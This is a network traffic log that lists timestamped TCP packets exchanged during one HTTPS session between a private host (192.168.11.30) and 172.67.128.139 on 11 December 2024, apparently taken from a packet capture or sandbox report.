Dec 11, 2024 12:16:08.006084919 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.006165028 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.006170988 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.006408930 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.006793976 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.006803989 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.006983042 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.007081985 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.007086992 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.007360935 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.007989883 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.008001089 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.008162022 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.008266926 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.008274078 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.008508921 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.009552002 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.009562969 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.009788036 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.009793997 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.009998083 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.010180950 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.010190964 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.010385036 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.010390997 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.010478020 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.010597944 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.011324883 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.011334896 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.011571884 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.011578083 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.011673927 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.011816978 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.012837887 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.012847900 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.012990952 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.013190031 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.013196945 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.013390064 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.013770103 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.013781071 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.013976097 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.014054060 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.014059067 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.014286995 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.014837980 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.014849901 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.015126944 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.015132904 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.015337944 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.015886068 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.015898943 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.016118050 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.016124010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.016350031 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.017035007 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.017046928 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.017227888 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.017388105 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.017393112 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.017615080 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.017980099 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.017991066 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.018177032 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.018201113 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.018208027 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.018321037 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.018524885 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.019193888 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.019207001 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.019435883 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.019442081 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.019575119 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.019670963 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.019910097 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.019922972 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.020212889 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.020380974 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.020386934 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.020669937 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.021030903 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.021043062 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.021229029 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.021358967 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.021364927 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.021413088 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.021541119 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.022341967 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.022355080 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.022583008 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.022589922 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.022763014 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.023199081 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.023212910 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.023541927 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.023547888 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.023982048 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.024139881 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.024152040 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.024321079 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.024478912 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.024485111 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.024806023 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.025118113 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.025127888 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.025352955 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.025512934 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.025518894 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.025687933 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.026175976 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.026186943 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.026417017 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.026417017 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.026426077 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.026513100 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.026640892 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.027204990 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.027215958 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.027390957 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.027548075 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.027554035 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.027740955 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.028120995 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.028131008 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.028289080 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.028378010 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.028382063 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.028458118 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.028599977 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.029181957 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.029191971 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.029314995 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.029546022 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.029551983 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.029781103 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.030136108 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.030148029 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.030287027 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.030353069 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.030358076 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.030433893 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.030555010 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.031369925 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.031383038 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.031579018 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.031584978 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.031668901 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.031904936 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.032392979 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.032403946 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.032577991 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.032584906 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.032692909 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.032784939 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.033314943 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.033327103 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.033487082 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.033642054 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.033648968 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.033947945 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.034176111 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.034194946 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.034382105 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.034393072 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.034488916 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.034575939 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.034957886 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.034976006 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.035142899 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.035238981 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.035247087 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.035599947 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.036042929 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.036062002 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.036211014 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.036279917 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.036288977 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.036370993 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.036592007 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.037141085 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.037156105 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.037293911 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.037372112 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.037379980 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.037458897 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.037595034 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.038007021 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.038022995 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.038211107 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.038211107 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.038222075 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.038388014 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.039030075 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.039052010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.039271116 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.039397955 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.039407969 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.039514065 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.039633036 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.040446997 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.040462017 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.040618896 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.040802956 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.040810108 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.040949106 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.041543007 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.041558027 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.041695118 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.041801929 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.041810989 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.042057991 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.042398930 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.042413950 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.042634010 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.042642117 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.042778969 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.042881966 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.042913914 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.042928934 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.043056965 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.043275118 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.043283939 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.043534040 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.044419050 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.044435024 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.044652939 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.044662952 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.044739962 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.044883013 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.045332909 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.045347929 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.045516014 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.045624971 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.045702934 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.045710087 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.045805931 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.045965910 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.046042919 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.046344995 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.046360970 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.046466112 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.046572924 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.046581030 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.046777010 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.047246933 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.047262907 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.047378063 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.047612906 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.047622919 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.047997952 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.048019886 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.048198938 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.048207045 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.048214912 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.048229933 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.048372030 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.048422098 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.048429966 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.048485994 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.049016953 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.049036026 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.049211979 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.049222946 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.049304008 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.050237894 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.050252914 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.050452948 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.050465107 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.050566912 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.051007032 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.051026106 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.051227093 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.051235914 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.051354885 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.051373005 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.051758051 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.051758051 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.051769018 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.052181005 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.052201986 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.052481890 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.052494049 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.053162098 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.053178072 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.053375959 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.053385973 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.053451061 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.053960085 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.053977966 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.054141998 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.054150105 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.054188013 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.054323912 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.054750919 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.054765940 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.054919958 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.055038929 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.055047035 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.055095911 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.055191994 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.055212975 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.055391073 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.055399895 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.055455923 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.055589914 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.055975914 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.055989981 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.056142092 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.056246996 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.056255102 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.056349039 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.056709051 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.056727886 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.056943893 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.056952000 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.057039022 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.057744980 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.057760000 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.057887077 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.057897091 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.058121920 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.062313080 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.062330008 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.062638044 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.062650919 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.068310022 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.068331003 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.068465948 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.068486929 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.068574905 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.068593025 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.068686008 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.068708897 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.068875074 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.068989992 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.069339037 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.069355011 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:08.069483995 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.069696903 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:08.069715023 CET	443	49840	172.67.128.139	192.168.11.30
